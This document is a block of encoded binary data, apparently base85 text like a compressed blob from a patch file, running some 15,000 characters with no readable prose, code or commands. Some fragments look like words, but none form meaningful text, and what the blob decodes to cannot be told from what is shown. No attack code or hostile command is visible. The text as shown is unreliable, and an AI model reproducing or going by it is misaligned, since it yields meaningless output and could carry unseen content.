z3nQ!20yNC%ni^{{PP%#OjZt*PD@`EGM;tG*Isq{)<^q7Qx&)39bJHC^7W3;`eTv=W5#vm z;o+)oeh_VwkN%Gxe}iU(4u=IcT7AmWa!NA5H>YE2CGFvUP8wI2jP;Q*_2)8YJNxHS zA=2*r*B1NA_`01X(~W0OIO(*4d_OtPqMWZS4)JjH2&@Y_ER;2DkkZ+Eyn0=_6lgtF z7c0`kDBGS?=5UsFr)s`ZVyGA)KIG!BNy{6{TImi`R5E+O%v^wElGi|L#uE1!EU~2Z z9Xy(b+fG(hRt%q|9JoxVzwAS?JUr4Kp9Faa_9|6+ASpv|ni!VuUU;s<3r9mSY_Jxi z_LT7cD@b&NAA?%Lp!!7ay8cU7UR)1qm5Y7pD@M8R%q&!^bxKl!73Do?VYIL#+Ly5O zn1f90y0_)(|ISN7dK-Nj4cvax z7KYkf6Q_QctYRn8C%2p2rMazm?LU5XAH4H&bW-t@q4^-<4~VLxMv=qOeMbmdxhor2 zQ4BZ!-PL7UmYCYeb}u0$OnoZF8_)z5KU1nNG4)MHUhfYt_Y$EPLSXAq$`so83rO*u zaJ6^)MyOe7`&S3?X)5s~H~aR4+!JsDvnZGXLasGd>SAM8ZQAQ~)0D)B?(c=4u7Iyi zS-;rR(6=0>Zyf391#d2ZvMJ5bSAPe_urlHHUv-4a?$AtN!T-nZ4iV{PEA|Gek=^)CdO>TGkR!JfXeB^ZcF z9rovG80;o`f9z#w7vtM6)M}@nF@9xU8{Zdn)lVC8UakgC+DhFRP45A-p^mE}O;STV zt4Oe^y%yY4dlg>H*^}H2>R~XHSj5pjUlf;qPN(WC6pYT0?6!^+5DBv-Q?Oa7OLJ*0 z-c7;FOs@nP;2}CRPS?7GT+}W#wHrd9wcj;!*dVAph7+)NRC<%XMgSCe zWG+frxZD#Z+cl##HZL>*hdAmlKG80`N0oY;E|0-Wucdi8a+xVUGMLpjlZ-XUzH>=n zLX!Qi97_0nHR=#9bMWdH0=1qf9ryAG45Q8zzt1m5XZY*)y(Z@c3}?410~SBmAAB#pJ83Je9d^MU zmJ;ga_vVZmZUn#p9n+*8QdGsYz4POwcmwyXvk9By`z_ef;7G-L5SGlwDhZaL#domA z4rrap{Lee(0_3uR{ABp!I=`4}V-gV#a$%0!9dsv<5s{ZIEm*r%cHxZ)XZW&CGfQBS z(cec*Jj>Wwa>o6aHTQXhM@bR z%B{RC9XA`u{iH}-$nMc2!4F4k&&Ik zT`m*5CNm(A{7RNggvG=%&}f{~D7sgXW+op!THp_7DDZ<^WzfTJq>7X$1lQ`{Td1$RDMv1g_TNq-h)OY| z4u3;y?%lCsNd;_$-`kfh`}za=R4qXI^}W{^rFmtJLVhZP52LhHu#o`Kq=1XM-CO-g z5UAG(m3=Gp=~YhMh_X4u&Sp0U?*vYyQir}F85yJsC#q@nixWDG76%qDULx^sraK85 z+<3N(_9^$jB8N5J@W>YeX00$J>OlvoWssfSB>ADOM_isd!1SL zmu!2)>hebpa`a~Rl})ERHt_e-whv%EgI|USXK))WbiWPm`*^R(L*P+Vu7fpcWpA9W zz#@jR+mgl-M~^+o?ksYhfj#r;*h_~hik@cG8Al?{qn)+J`bQ1fwXcH$VxH$?c&lZ9 zvKHHU%8*kkQ@ZJtvRp53Fkwh{728W=by)Qpc=#%tI^n=@ix83ZuhHLPynt_#9ydta+1;Zv(>V z+Tv*wA}iy^0adh%zIaz^td)?3L36XI+D9qQv?qyh-o+TPvt+V;@8F!4~e>}7Vms-FFBv6W$abB>q@YlDaddZsy%(TF`Pe&?^}h$5a~W^ z^}FGlo$~foPra&oTICMtb}sI;e=U9rmmgxt349_tZ+aul&hWJ#!TrZJ>qH?%T;#MH z{aqHK5s2CNl}MP_o@blEtlIR*+O?$sqbh?(7|I7fI~<=^)e=GWW%+p#8D3bFWUF{V?w~S8OXwU@b^CI@6|22grV9Vf zoo53Up@{Q8QpZTgDzaMma=t+CwJ1!tn5EF{ayq`>Gf~ls#9a5dXL#F`f`ux7^AkaI zcP3pzRfQMX7!hQs%<(iyJ-!^9ao}v?9hs*>67bcX(?fWh=a~o}aTEv@cxN>n;}))d z3~+V7H#c7DS6uBVb2r7HItlLBD?h$L#+}pWJHX|6vH_+D6fJSE;BN_F7kCMfRoi>l zV;S|^qE^VV#NP&Z#W_9^{UAshuFqRZ=X|$K_HR&vyrbe>NDE~jnA+57?j|@S?5Z${ z`Y>5L!|hJFSl{puyF|l;Pbqv5x-~*`Hcl#VHB1L{{bUHk5Rn@c*(IO-%vxRPl~nAg z@c_tOgX>mPZubvPc*}B6Ymj%R-Gsc7o9jBUm#ge;JMw35Z@r9A?R+Sst7c_rPj8WgOUy%+u6oa96KTS<-_55^mm*y~X}2z)(WUqxA1VNY>9-d>p|_%`zM(<6zf(jP8;UFEzBIt!cZrBc|DLNbpM z3O)l@@|(C&q+}eA-JD~fU#3rL$NG_cTia3NMrD8wR>vnl@Yz&$UENExenq)-m)`vl zk=zC;hjj6z%f#4Lra^yXsYsZ-(K2a7H{UobUIAPKMR1#bQS3c+ZaQjkJ%WvVdvl2C zz&7Bf2^PUU4kGd|0FYMy)9L*KiEfr9vz}@}s+-(2JSmO@Jj6`8rd+tDjpnKkmei9+ zT^2Vc3Z*ah+x+r6{Q|@ue44+lOVmgs7b4BJLNWY{m;4$epbO7DEz!Z`dw2+OPx1ep z55`Gd=>(i+yaLJ74(O^^GJ1;#StV+2bNH-}6y-fLG}9 zm%83(@?Mg20%8ZyU!1phq(>bzX1gYhy#bt*#@MJ!<*Ct+l9yK@toA<1_OUmfjsNUp zLyN-OXkZ6DS+|5>rWlL<=d*RJ?Doo`Ptq1xvDO(hD`Tv})Q2A5!NbJGV-f`E0NK$) zqfpJti+(JsJ}=16@iqLJD324v=|Oen=$U$gyLZY0UAyuv<=C&mV%ua^Ib-zUMIIhy ziz7w7R&@Nrw_84%!DzzYQooO>^l0Q2eU+tP>wAFMD??tNY3yr#vaN z>VB@64`Sr)UWXaqm{ktz6Z=3IaxcyG9bfIN{LO$O2Wb=i`pODuu@lv@6Bv>SmYQ`) z(cpDts}&cs6;LGe;-Y;-7at>1uM;DEv)s}DG(KClzdes&^Ur}k;h^@f)ow~v@_$oFWKYWoqW-^jzgo(fC-=$bd-^|9{YR@;Kl zSu`8BWI$kw3I)Ht;0;4Uw%A@LN$iZR7a18XVll{7Qk`NniOjU;RsmC|4YL?hp>(iE z+lGs}&$s+5j;s>gmG#m8VfAQ1x%tlFukMYagA{kX-eN0RE6)LS9JVr47d=}5j>8cb z7c}fDhz*{yHp};3O$~hdz%;7;RQi!yoWnI#M2~})D(fquLSc_<+v z5-y7>Po*RdLwSjT$<9i1>K@?W2KVH{A2a#;Ky|lOSSa^l1`%BRu6& zFG{FJc#SlNCt=N)sRb#mVl&XEL_Y>FDV)o&{XKXAh!uT(Lk^P5aP5zswO-w=*G-eN`fl=#}_Lo>92psV03()Ny`4&nJv%5Y>3csrPTZ1EPnx|iXFh9~{j|lrA^YGZ|Z`X!H%9}XV z*|EM3nl0J3!IA6{?^zR_{fTF^z0Txg%&!QXw*?+7W}T?fD^_4=4V!?io^OD5lMzgT zObb$6l~V5F5?eM(B}!EFxr~;LI!Wr5TaSN4cg5@d`FNw6;WW+=^^_}EyeAtrQB+vK7;vN6R#r1qePn+S7 z`^hu4t%Ub)c5+?5ekXe=66No)w8H?e56?j~)_#{Qk*!h9)qJGxXgK84H+e(}(`dAq5!$Zk$RN+f$NIgFKn9B_xJo&^yks@T4^&T^YPL=fzm0U>V7zwC zi23nnq6op#ANMvluB%xr@z+{1sv&;Vv|SoCWDl3hH?7hLz7ic(vNm<-=ayc3WuJh~ z>fUw<<^Xa{e8+m1?o8;!3d`RvHyXqkIWjcNmQR|# z|J-UNuRV2xFH0!-kuFTi=%Uw8t!GhAANxMfiRB)ee(W??{$u{`A!!H?bGWqf^4PPWuawtZxwTL`>s3EVnHl zU?@&T6Ofd&CJ@CZNOMAS=ZEB2N?3BZ4RdN zm*Z8(^Kx$Xh2}l>-%}RJt;ozYIKMKhG6l`o6bXzv5Z0lWW1RyvOLkZS4N_Blys753 z5o>0%ii_u>yo_k=lELbP8sWOj^kjFVo|LsHp7O`2DGxO^L$VrqUG{(pZxGR zV&G177>^7W%eW~vtGiuhRx(mv?BcV@RqR*pr9*lKX+425-d;d3JK{yVq|IUDpzkQS zTLk1A(S62wi}U$+Dt5ld9kuNO5^uQEG+x>2h0E1YpEDD(CG>)nkR6;BzK|}w;IzD= z(TBE5zRv*8T-7`kRmi?Lry>8K$O)nvZM*9ZJtWJGjR35@RJ>EUss;E1l z!t(W*q!d69=dj0C<-be>$OIy}Qzntu`3;l=vK@XKQ4JV{l#?Fb>_Y3j3)FcfPjI)S zNQGiFqjKjA{w@T;@i5V=_3*d0duL3^``91ST(4HH9fY($SjwW@g-1jl$3DO9TCr$k z64+2a1%}5wFwX72cUSjm&g(8)T3CEq8)tXR!o_;sq1hHZJVHY3TyKik-k4-oBqk*A@ZWU;$G zu``og(0!vn17A3nwkD0;i%9xT3*v;rGs==@%HqZ zsAG%P=eaX&a5(>`)~w5Qt-#I|c0(O(0P%ap`?$yG*+yj5$1Gac3e@eEsW-vD+SwYL zSy$@JhZVM{6hkKt3#D63xO(P@GE;wD@ofxdJ+ip7 z0)}(yO$3u-iH$8uEOy}DiCMoCr5mQ`H>Y88ey%LNw=cO%{A`Tr8&T&yZ{q0RKLj0T z#pC7CW1&ErcY8??9aprfz}a(=&qBC;5uDP9DfuGB+oZ}x627Fv$NP$9t(`<@xl1Ri zod+u|xpszU3)PMXQd)^Sswt+XjGwy|qSbp+jP8)=eoJ86YCgZtl7({3@y&-ja^Bo? z0SZ-~s?P{n)i*WN)I>IpDWHaW8;JDBhK6I_mVU@&T^afk%o{vsaUWxldWmA}T;kxM z3Rou|%F<0+7p}B^JOTS0{!2<$qP*?pIC1-g3LQcJ7MMw%6$y7CBjgO-4 zohS$^EZMcF6Fk>o)zKe#{uBs9B|HH$;#l1+|#B3*2I>ZjTmFqvE6dguscmdu5q2P-DEEb4T{7z9`0P z$WQnfb*I}em0B%hn1oerG4Ps_bL>0sZ{Cv0J_w;(0La~&gR6OBPgru7BtK;8MaplM zjU^e;Hl9zhgRF#H91w$dq=yG^*=1y42SuelRx6-r-ZyvhWi!LsEZzzhdutLG3JJj=Hggv98ttLX#kN4F_!D13`-5zp& z`GmwgL6AJ@DxOr-z7!`>S2vCm4Uq0@oiCi2>l7h7Xl!Gm;8`PFzvfQR{r2T5`Fnz+aLX}>kj;DuB-8F0ct@bg;NHhZFHbP#9bQ z0Aio)8!x8(WA;fFUp}M=9oSMQ_5mDki3R=#HisLaZ~|US@a4q+@CILKC;u{3aYYUR zdiU!<`sr`IdrK}~!)_`(Jc~Zit^zx<3B#JNpsckhRnScdtMwhNp&VX|14MpJyhJbh z#7HjZ+dHa~0Lbr^wMfL$18f;O)by($PNT>-<-nx6@k|0|RqF5M2-XCT{06sHwx=R>er>Kaeym%sOG0!+)b+)ts8=2b zknFkec*z*hJfV*xAtvTJBQiMa(P8z~?B=8jX5E7ChkGe_n6)=GPKX5mB=4~L$|b^+ z>P^A1cHRA5(m2LaF?eB_OcF{GD2tivbtXf0^i;6wH(m;U+Dd~)E>YYU93m$YB+290tjs{eq4kDg zcpmIFj?p6ro7Ks2|3UpoWis+g@Rw!)>D4yZ`Im=m-)z|k`-wT+TbwHnaCDOzn;|j< zby$~L)7Hvo+OAOymXGUy1u@OWqvS}HF4clZ3@36ce$7=?;8qk}g;2qE7i{`M^n4y{Z@0io0_dXoOQk=cU(&#jNgGSuxo*N!KWxzD zqu>Q7n-DA@8|wPF(8!_2L}cDY2-Xnrifx0LR))0AV=~7Q-nUqA&SU3l^ZXA85XzYx z%K^W!JeSOhvOEO=G5>K2$H0e};Mf(B-;JGkE@0ZYk(B3%XQ@uxI9&gpP}~@g;r#|8 z=KTcXog3w>E81g6i~QgO;R28f#6Ty1HCxxl9Z;s3g$me~FQIp@sNcN*Hh@aS;Hucr zH2qZTDy!l+Yww8YqA?MMDFKuwVgv-F zMg^o95T&=!dl3{6klv+9?}T1NM7jh75_(Ul0YZFh@7uPXbI-Z=zT4jW?LUmHlsVTL zbIvix9AkXn$cu!wn@VA8g7^4ispyz&kI3WeHHW1;Jf88y(Z%?!rY}i%KJ#>vJ}E~$ z8#o4%zE)0`7-16H?NK$DgZA&QTIt$qk4@-lM7Ku{Xl)8u|0AIeBphVb2H6n+6H& zIZ_#tNi_hU4q#X>8_C_Aw|qN1q%4$oHT{xN6p>nV>vf}@fVfDv~Cve%D{ zDeA&etG$4i&<*MXr5p<^xb^Z~gOw_9D!v8FsEB7K5Ur~CFN=~-b24Mj-Xwo1c4qz| z7#ph$;8toN2cG~?+CxN}Iy2#D3J`}NfCtxRUBnVUA!y-^wz;lRGwP`W$D(kW+-Pe@ z?8@N4^RumvkCm8m?_4I6dhwx_b^d729Eh3zu>mbWHaxJMH6U-!v-AguNr7!d4@%&P zK@1cRoNOZry1#T!Qmp)E6aP3A|24AE1~YU(7RHu{hcKdmkK}R@0|zhj~5X5 z4-oW~V4{~Daw`rvyX2ESZ5BE4Ma;j#1M2QMWY>Ijugx`;m6>a7iIqFfv>QBK8i+8D z4sT}0>tkjvYG6zhR#rUC&M`8|W6ITQU(m{9OSze^wlgYeJL?13pyc+O?%#^SZ)7Ra zYCGhZzkwg0FpQiqQ~_*z$mpGd!qzwY-FOq0HvC(XA0X2$B2ynh^CXu*Hdjh9y^Ml( zgabad`-5*sufcP6o}NXAu;1lW;11$IoZVf~Z@=#lvD(GoWU^&1Bji0dCopd?a+&`& znVzN)Gfy0$WVCr_l`W4VG7q&{x%Lm-45Q30Eh#nLW+^IQ!*-ng#1{%fF zxdFHQ5b;Z6Pk_wVub$CwO}d8$$0Rtqc_lEi^l-*Zq~1D zc~IvOgB}7>V+E*cy>0{YTh;*5WqARh{qEhc!!6~LQhBx&cgeu_L{X2!jg7e=jRJU@ z=jRV3&a>NUz4Lp8!2o2yRD~`ym`H}i>kr7@=a7oKL$o?#dTmK_1?!}LQYS*Zg9HDZ zfKVwo3yDrU-zbff+4sl4DsX+dyLutM-0-&G=}&0ln9;?#GNywYf7ClK9%ttnHfC;? zAi3A@C6UHbx^ISxnOOyN>aBB;t_M&Z!?0cexfd&PxK{_Tar~xE0qO!ZKk@q`153-OPO>(Af+O%eYozrQnov>(Mz0+xI1o{3r z#iM_kyP&a5Ad3E9`}@=!PF0$pfGJsq2pZzpis+MjjxreRw&hqTz;dvl9U z=R(&~5Yt*JC05E8JJ~kIc@g_1fg&>VQHGk3P%EmAr-I?7!MoVcpEX2zV%4wY{j%PF z+RpwT)U`P<`a9iVi+|dk)2T~;MczgKB|fiS5OKj2s5>V74|T`R?ubOdDiVB~Z&n44 zhwQFoj#bVj)4bBC^8iX-5j%PmyLmRAN9;t5=MFxqOkGlfKlen#kI&-8j?{)biP!P| zIIcE+^0JjwA)M^E)Q6S@gtIS6>-xk&zdJI*o8GEf3WxA*RCbfwXj<~$%xxG(S2;dP z$qwjfd+;DO1Im7PXKJ?u6Xum*iAY0ex$F$jzYz6g8RWvx-RM+w^7gzf93U${)^+EY zZ=z$`dA8xk*7q)#IgW;rR5?5(%kvH{*iTlqz<5T{3(YL6gLrqDBfr&{8!$uWK_BSUN8}wQ@ z2qg=A&YvUCuy{;2Lcj5_RGuDhsgF0HZ0~>CV(ZNs4Gq_{^_Yu~zdEREkf?<2`syNl znwy(xLQ6e+7;1^^v;WLkp>0&$jKFpexI@-WGOYFKmH9dlp+`~v^qjC@JA%QDZ%h=T zoFiu!Zi4w=-Z~o3!I#bwBj@NsO(}6r3;nx>r2+C2`==krkTZDYiU>d@&R=_x6k0LNn}dN2_m*yg zzZ=uy``sna>q>o#{RkZTeg24Blr+3Ac^b0z-hU5@1wf4Y3HW0)EUeK0!!JoAh>^-d z_em-1eypjv7NXF4DU`WjDQ3D!DGY=iz&~gPSWYs#ix9KGAs%-GK`Y^Rh~b=N0D%>7 zjObpQTFw>+kdD8+J4EEb>+52@ea6_jLx9oY_-4f}aE_b?5d6}mA->RPe@BA=V-Rk`dh(Oi7H&r0> z)$t>{z~?n=fg^e^B*GaQvq1(?AYyY1gDd&y%x{lc7>7f&Q_-=*a>laqZ7!)aJoRIx zH;Zs-x$1Vam*>s!N01%fUJ*)TEozN3H8EABqpzA2yd`2zes$J);C>1SM7ofZ>Bi@K zFjI4^(ip6L5=FeQniSYSUw?kE&w=~y8qIo-Z)k5@Pz&q&%~FfXA0TbS4C3VU$Y|VM ziPedRVcvN;exJ+gY~Oy=&C%@h)*IcJ?hXX1Jzek=02s!E#);HGJ~SpDfI42o>jF?m zqf!D30D0`xkDdYIA}j!A@dxPQT0P(TN$xVrC16*>-_l`D$YU`K^H}vLBZ%E07NpAS zTsB!twvZ}tQsXV*c@6h@<_zJPr%)k246{8nvUWtBCsiPr|C-5|PTczDr>x7*U%M8` z=K-W|X||hku)W{Pi=?B{@a*z{srt)p0FEST18gDDrv`?K04mco(6+*D>h||D9l+p$8GXm#Q{D%V$5u)7W z$s8f@6&wd^U(#zF&R_$yNJ?*It*sF45$0+Rh#}|^+PsH4n=nOs^(d8{=v7(^8H+d| z`r9C8pYMp^pCAJeyJQUjVO<2kCraeuWc6V=U-3WTP2ocv`E?ybRQ#X9Cy(|0P&Me}y zd0u3(K%~|CWM@LgfV{PpXUYe|?4NUgBk>hMP@egQkQJ&btM9u( z8jc2ke;wmfx^HLwR|O#D zfF}&{%3B?XIE~I!^q$O&MgRWl!|xRjJ0v7;Ly1?S%lm*Yz4`C@QcO`}Yqh~boJ9K6u_YXYTN*S#b*aPqqoznlRx;Ml^zT#XYXGt1cg} z$XjnU2uSErOUQ3oIPiUroUG+ zh9aV5D6E+Kr8my>X1@cHp2%W|*S|krRZ6vTWEz>Pj&8a;pj%NDU=*qvYsyNm<(!~L zo#!mCFN-C)eM^Qe6!oDr*xo6c=1N?aZF#3X{1)tR{9K>F;$;b?>mOKfaW1Wbuf-fx zM8Z)EW8o#X@zduFBup-Bu1;^NjQCAya5NT`tJ^cbz4K02sA^jFqre$-1i+`=9ZJy6 z#tYNDSb4BquRl>mS81ThZEV`hKn4;mKNUcFyPEUf+q2hMVg~RcsyO=)SyoIjGZcPB zj!$RI=@I*b+IU5WXVESKcQ4Sh8r;9ZbmdO#^K(js78;ygX|}ot&R(bKBim-gG{=yg z;n({BF^6@;NrBHa#lpbFImzXt=m;l19L=;pI)!agw|4kRyI_ca3&T^+KP6J>$#^)#pj;ED6;jkXKQcjDUfJqogyLMyaalNKgR6MwD(-t z(H)jZ*0{{@Y0%WRfMy+k_SuE6hvxTmoUfZu(ffb|G~hr20s|B`cGPth&ifT0QH1lI zM!ikH2A7@t@`w{GZ|M+!EkqUcBbX!t$B93&xxI%+HS-tX|W5Z}F8WVf@eAFt=mz{Fp-JCW5 z*H;P`XM6|_aLd_J3TsXVEQ)t5$5N=jI!^L9!QosD~od7{X1-~^OP)IQV8bh7s@}2SVB|a`7co8pJ7P(v zd-2bQmQmQbm7&!mio7TG(p9OeV~@DsJ4Gg*4I-TBH~i->jf{}s^a+e+7z!Y9Irvsu zTguZ%jv}1PY)wO^);H|9lf1rA?2;1}pgqpJsOIz(Fe(c(9fwY1aur7pv^9yhv!!)J zdgw*5hak#l8;oSMi|ca8Hl^+&<>)WIr)FG5vIDlOeIOFNCtB#5eA`vB-%o1Pu`aTy zBMe0Lxkc~_2*{dOV4-C4m~~lC#18L!#A=kDS$;IS02RY`VAtEsMMH;PDu;Bg1ZrI4wU2(7}kKD?_V-9S$R1iPF$REp3p-x zy}VAL_0er9$G!TWf0Z#vkjYzSun~D;KQEQxI9{XbaU)S&pukSO`*ao=S=3t+^ifcb zOTLfrW^O%@<-nNf2fn35G&ZxNf9b0A#^>f@Ms;X2#|o02pqV3|AzYAS`gyF^DSv8! znczBk(3NXcTY?<+@Ouhm%O=YR()@-9p%4|B-Uo|(-!Gu_b=1XC zWE6!P$WP>VaWz6K`}RFvpSvWc*zoDuw+t7iFBIZopzUIT@lN;q8J4ds^YG;~(z|OJ z0J7R&zq&3;e_KOYRcNOMiC85}w_GZqT6@CYwjGQaOrk8Z;YlBX|18HBKkBPnP zbN)G%Z%YfNo`zAS0=pUcB*z+ilG@faEo0>Ba$$n)>O`EXx&(>yKXO8o{ zj+O<}(&^qHXLFO_8(ZrmHB#7KhbMV!@%rv>wKCvi?e6EiC=R0EJepyVKVxj;!Uo-- zIhHmxQpO-Eg!;RZpHfap9vjp2n6Yp^V?K5Bnm*qA0d%~6I@}DS$$5NtROo5*uziMy zZL)R3OAU5_3qtNRkABYq1Pe`pwv8X)2qO4#%s?o`?od^h;80+_G)*=ycCTRLUxUkUvgrg?B0}hZ!x(X*uG-5e(+@SMWyQs0`BJf z(mmv4D~MB#*10zISFuMcE9thk)VA#$-!q|9PmRmIh8oY$Z{Jsx_sv~#c9*M}ScgBY z^!HF-Q1aD(#qem>J=Q8*qr(3|ZF3ar>XtB*w!tXKjpu&^0k$hU-3i~_^};B;IKUx?XhH6i0`9pX$C9q z*`%Mu-R22VIr~xeoZ=;a?Lh_VAeIfZTBdT?)e!+MY60IC5UpQk*>JH$PpY7d6`b3R zQ%{ZiH0wmT%sH8Oo;M@0nvY7a;kS5iF5MVC$J(9uvfDCj$Q+jKyxq5Cg&icOBr{WiKs4{M4o@ z;WCQy1hhLtAde;p!kz%ms3seB$L$tS7ZXGcQBe74B1iNUw zt8)sFuBHrl1@(bC2IFH8Y_Ju0muwh;Wq@F_i03xQh(7N2L{e4ac@Jt!0uhEkOScgP z>^B+rkXT1#&!P4V@vNl9^V2YL<8yAUBg{Z6BQw}-LFf_v65uoQ0ep>ut1$fSO1dMG z6(s%)7!P>(PXCr4ryzF&xIb<{k;wA>bWQtza7=q5e|+GpfGHxQ08DnyWWYL!0h0ST+W`+CB!Nike{2?r zT-FgGaENTn8v;U&F+_Zgh7hSKe}L#!39@0s!~i!Sk>xQ2A9j@R(-R}wIMNYc=>YF& ziyDyc7X8mcRs5q&g%IsM#gJuHzz0b|_5&1>MdVbr280TjNBHYtg0h#!Upz46=b`)9 zg&0@>?mM0M4Q+pP9vC)C4MKE05rtKUeX0Jl3ZyFH;#egv$ z0+N0fN`D%j^S{WXwBT>d)~ow01BV18_B?pk@vC__@vh-4c!mQc7Q=&Z!bE z?L<4|1Dc)vL)yPXC;Tf?cKKD8E&rl-yv+V%)AtP$jYhegoMDFHMPbAnz)Jf?XRd*N znpc0(%U{(BfVQHe9Y!vz0m-@wUdlKL~-R`nQ)1SpKkX5FPWVGx2enj{4Gd^$jOn1 z_!{E`C^)7cpgG5%H@W7r|B#;So%wlj0c!oHUYz!#|06rl|IN1kA6~+e#dw`N;o4uB zBs|Cs> zIbHwPPFG0)C4bf`ewuMCH(2#!*rWA4#~2|kgGVYI=M-kc#{a^M`0HoPKUdn{HPSU* zk!?x5H354C8H4Lw@iP41c{CpC>Cu;wpS#Hg9Q^++$K(I6&lmqCN}?#53NQm}ho4zH zdYoY~oxWsQrKD8+*;nudI_AHu{Y2at=E6h~)KccT&+^J|m1vfa6sn8@?<-c{naXt>JQD z_GABfWR)w7z<8`#*@U;nT&b-Ja%QU|$%zmp>x~|HsPri8(L3!zc?+KDv2PolUwd{g z`ZKxqyUl$#{oa> zS55P;BtWQ=1eOZMKB7BhmIsnQ$AJ%tzNfr{$CrW$7s!ap13{3z0|ek%Ra5}eds3Wa z0_u5UdkdC)XUNgyiDZLrWxcRJ81crkXloi2*&Zlx2D2~`YjF-~XS18W&p zH6FQVqJmOM$t35Wln7~3hd5F4#JazM`7<5+ACm*%#4JzgAD~jeCBOT@2DI8N=i1&e zO&{D=?)p@5KXi}phEy)kD;ILT;rrOg_JwO)EtmXbrHko8Vf35>=%(f@baMWT_PCka zZg_-X;Lf=oOVmpiRUkX}@zS&Fufm3K$l$HL=nJm2+e0&7s)r>F?CfUTOXJvqf;Q~r ze%@~99-Hr^`iz4!2>fFb{bn8X0}K5bE7kgX%`84Qr!told1-pO+RJ$c?og&`f*jq! z(N$^$8ngxgnl8h59B*(@O%^zIR4eO=UgkM0@5nB@rj!e%^bt)IZWdi3h0-YJeY0^N zA##<+AKwq_BB!_$p<-a%v&{WmjqZ!Wp&AcIIu?hgG71u*LD{C#19nEcMh$i$^6f3- z1F6L??GGXiEMhVIU|T;{P#i!t5XIznSn4T?_rlQ84qykXIOO0#(dgqf_Kn!CKI$Qj z=RH0Y(&Q?H2;V5Ro^+Z?B&W5!Kn-@ZH^Fpp2@14tscuG=tt~X9D*U*fB+-zIVx9Xs zq~TJG@s_`*=LW_ej1TYFci)UN%bHGBOU2;WhNeYn${xx0Q*UxQyBYYOo|I_|9_ZCW zqDjV))t)~cRx_DQy<*Q!RYA$OD28_OX^GE5h73m#z@yuX?70sjp1rTbW8z5cD1>>H!a zZ-x*qb+U5{4|8vmuEgw+IuN-C(DB`9kd1p}LZDDdyo zN6gv}$!c`~!Yugp5s^)R8!v3p;qjOz90NXAd_2`Dm=S+fPopmD;uVZ>cWge%d|bBY zDU1=4#C70)b;Za= zyZ9WJSkciiQ-OuwOB(%FuHujXn7()_0wCb~$3(#MpLL=B){^`sU>)aq{Q!Z0dX?b{ zoYKEWvKs2q^1vGEy^5ndc?msXiR%v~lAnO*J*FVQsX79D;t2qQays_xzhx0Mmz03j z7G8S7xz~@k?B?Xg@^#T&SObbdxfBo}qp}Z(;8gaNzT7~kdDKaiTE)SoxP@3gQ$Ll! zAQJZ#$kXV<8!1%8W?|&6$GBy>=e5wvfe=Ie5Ol@JZuI%pab``MGZwbiaCAtvk8jY) zq~n0r7k3r96I5E}E!QlfYVFL?A>{L-CoAT=_lz!nT(XvJ3S}8)=J#n_cOc#LbaZJE;O9SF89$_>=~+>VoxUAKsXXD&@{Ta%kHsZYk=L%p~=Y}me70s&E&Sk z*F?5U=1;l3O3Pd>us&q^=Gls5?wsM!m=n@z^+yxm%WBzLTqvXt?w~tK5PH+lMP+>Q z=CgWxSNo@PAG>G?Z1Hr_;`ne4tfM>&c44?#TL99JVT`jfItAVbhL5+BqQh zPRMiBYnwNz>Jp0lTgS@?uqK>AJl*7R={VN9tDqBp zm^lrs^1^f=8qBuZ%o(m#k#+|smN2~exW1N=Qr+;(Jsp)^PWImCg?HcE(SqcX(a0zs z+*r7a&|=C-bm7W)`AU6MDj#DuGkr`-tWN{LM?D%=Ah1@aTb@-|qJc&PT*m4La+ig- z%X47E8%t%A^aJOpEEyRig0?evSbXYUv03Kc>|OiU6O4-BltiUwAc|VL3q-+<+$Vm0 z1B8~9ES$z$&TWOuO6J3+rmT}T(s^dvFsL+ev}d$AV0KQBzmBuq*GmC15RE*Td>a#etmi_E;b+qm-^KHVZ6K{+ zfj}s*qn}dK{*28&iZ1k8PCOH`p3*D9W)6?;JvnM+Wpz`vP8_?rrq z1+>Eptm^xFd_KiKmx15Dvde2keR?X}KO&08-q6$SSif~3cv_a&4#bGhSd4|kPtx`q zPZBnE+AnO0TMjH7PIQfauK^3cyh@P9i(}}{(gk(vjYzB=HcDH6XwBEK<52EM(B{rk z33LVX_wblqqWNwcSBdAqvCXu|pTg3iJSCdJSnsCn@2ww_3#PZUhSy6O9!Ab?GhKS8 ze9`R*PuOO_)9Z&1XiGZ~l{CZ{YYc?p5#CVfHhL?lB)f97s(OUb(Aa*ZuTH4=&b2F1 zq%5M=X3s?L(zBmIPQ>|x6v;UiIo1{rPTs*C2bk7^AVDx{!joKEwn|jm{!A#Kv_j+Z zP`qOIB3Ucn8V5K#-|N5d@PlWAOIkLQk`D+(3*yNCDezxp3q8D81wFz7q2Iv-$%;o~ zY1`5^X?tiOq?#pcMb_udvqISgt`zYjNPB!(t4_L>$~L-{T{T$M*MD6@*5#JF%I4Tm zSAUhoYmhov6jNY|?}b>}U!1ZwY;Gv9@g_}fHw+GW3O8KTSnC&E&j}ugwDjzgeJL~) z#~@x`X>l8F@o+`{68?6VDrP*$(;BToL#3xFqcS2<7%pU~n+%n%O&U^mbltH0BLBI? zk8=7V?qOB5pL;?_AB1t*b@D+?#b{LuEu7-Z%$;jEtLklZw&?xUQi)=&uFnhH#>#8~ z>;~@vhUQM#g%wn3@MI^EvI@KJUwXefzQ!3fj@m5R(A#4o&DxWI zVEg0Ys&Kf3%^1CPQhsC9KEq}*RquIug&V?cN=bnOZ01KeZ&R_?!rad+|z>A9fc@X zt>=78?8D&s9eomOWVEK)3l6csPPrYDkv5d zf4f>mPJO*`$J1xqNs{F605Y~445|G%WXlaCqdfa68%3JXhpAq<;+~q38(y)vC$&+} zs?x0ZJ|&uoN}v6v&u2^b7P|wKm$8qMgt1TI%PNHg@8iJ!fFFrDSbZ=re&KofILW)u zgLllSEBJfvOh%?(w0}%pdJg}l^DEwewzz*QSV)+l;fM-&Ffn0MDp{iGYZ32};L9d) z^Drc|hvyUn0|~HQ0Vq295`qI?sN;7t)o3LgbFk#)JR2$J@n@S;@qYZ6SpEoy1eGwW zfzKhg?Z_XKzLc;(g|E;aY35i>I;oD#Gr>EWsJc-kBZNj?3QiuX4K}pW_sYgydh94< zI8BZP44goM2aeCEJ_)4(Wmt``84INnbsZ9tM@gCC%~Ii)F;ks3;4L~+8s3Y^?Qhizd4l%dr+Pc?nYHT+l}MV2>lQ$>nz zeUP}V&gwslE}!A2Xb#0D5c~kUu=IH5L?FJgPYv7MQA+AMgE_SyoQ~Hw8ERB7$}J?X z4-P4LZW%%)X!|mf?a{p^c%L~$Q&>WyR$u*nj_d*_vtMksMstCm~8OeCg9Vnc7 zC-iC`QBgb)M1bU5-QwM7Sjj>Yyy?ngw^bM_SC*osOg<>+EEe#-eAPhZBdCLkZl%ND 